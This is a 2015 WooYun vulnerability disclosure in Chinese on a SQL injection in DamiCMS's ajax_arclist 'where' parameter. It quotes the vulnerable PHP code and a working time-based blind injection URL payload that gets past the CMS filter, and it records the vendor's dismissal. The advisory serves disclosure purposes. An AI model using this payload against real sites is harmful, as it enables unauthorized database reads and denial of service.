当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106310

漏洞标题:大米CMS最新版一个参数引发多处sql注入, 绕过防御(附验证脚本)

相关厂商:damicms.com

漏洞作者: izy

提交时间:2015-04-09 10:28

修复时间:2015-07-09 07:56

公开时间:2015-07-09 07:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-04: 细节向核心白帽子及相关领域专家公开
2015-06-14: 细节向普通白帽子公开
2015-06-24: 细节向实习白帽子公开
2015-07-09: 细节向公众公开

简要描述:

过滤不严

详细说明:

出现注入的地方是在ApiAction.class.php文件ajax_arclist函数

function ajax_arclist(){
$prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true;
//表过滤防止泄露信息,只允许的表
if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();}
if(!empty($_REQUEST['model'])){
if($prefix == true){
$model = C('DB_PREFIX').$_REQUEST['model'];
}
else{
$model = $_REQUEST['model'];
}
}else{
$model = C('DB_PREFIX').'article';
}
$order =!empty($_REQUEST['order'])?inject_check($_REQUEST['order']):'';
$num =!empty($_REQUEST['num'])?inject_check($_REQUEST['num']):'';
$where =!empty($_REQUEST['where'])?inject_check(urldecode($_REQUEST['where'])):'';

//使where支持 条件判断,添加不等于的判断
$page=false;
if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page'];
$pagesize =!empty($_REQUEST['pagesize'])?intval($_REQUEST['pagesize']):'10';
//$query =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用
$field = '';
if(!empty($_REQUEST['field'])){
$f_t = explode(',',inject_check($_REQUEST['field']));
$f_t = array_map('urlencode',$f_t);
$field = implode(',',$f_t);
}

$m=new Model($model,"",false);
//如果使用了分页,缓存也不生效
if($page){
import("@.ORG.Page"); //这里改成你的Page类
$count=$m->where($where)->count();
var_dump($count);exit();
$total_page = ceil($count / $pagesize);
$p = new Page($count,$pagesize);
//如果使用了分页,num将不起作用
$t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select();
//echo $m->getLastSql();
$ret = array('total_page'=>$total_page,'data'=>$t);
}
//如果没有使用分页,并且没有 query
if(!$page){
$ret=$m->field($field)->where($where)->order($order)->limit($num)->select();
}
$this->ajaxReturn($ret,'返回信息',1);
}


看到这几行代码,where参数全都可以注入:

$count=$m->where($where)->count();
$t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select();
$ret=$m->field($field)->where($where)->order($order)->limit($num)->select();


在where条件中,字符串是不做处理的,导致sql漏洞产生
全局有一个php_safe.php过滤,但是我们还可以继续绕过.
具体paylaod:
http://127.0.0.1/dami/index.php?s=api/ajax_arclist&model=ad&page=1&where=11%26%26if(ascii(substr(database(),4,1))=105 ,sleep(1),1)#
官网测试,以为会查询4次所以延迟了4秒:

屏幕快照 2015-04-06 下午10.37.53.png


漏洞证明:

屏幕快照 2015-04-06 下午11.29.21.png

修复方案:

过滤

版权声明:转载请注明来源 izy@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-09 07:56

厂商回复:

这个其实已经考虑到了 就像执行where条件的1=1 或等待不影响数据,我想更多的了解 您这个注入是如何对大米CMS的数据执行的查询或其他什么操作

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-10 08:11 | izy ( 普通白帽子 | Rank:111 漏洞数:22 | http://1zy.pw/)

    @damicms.com 数据库的名字不是已经注入出来了吗?脚本都给了…对于大的网站注入不一定需要出数据,还可以dos啊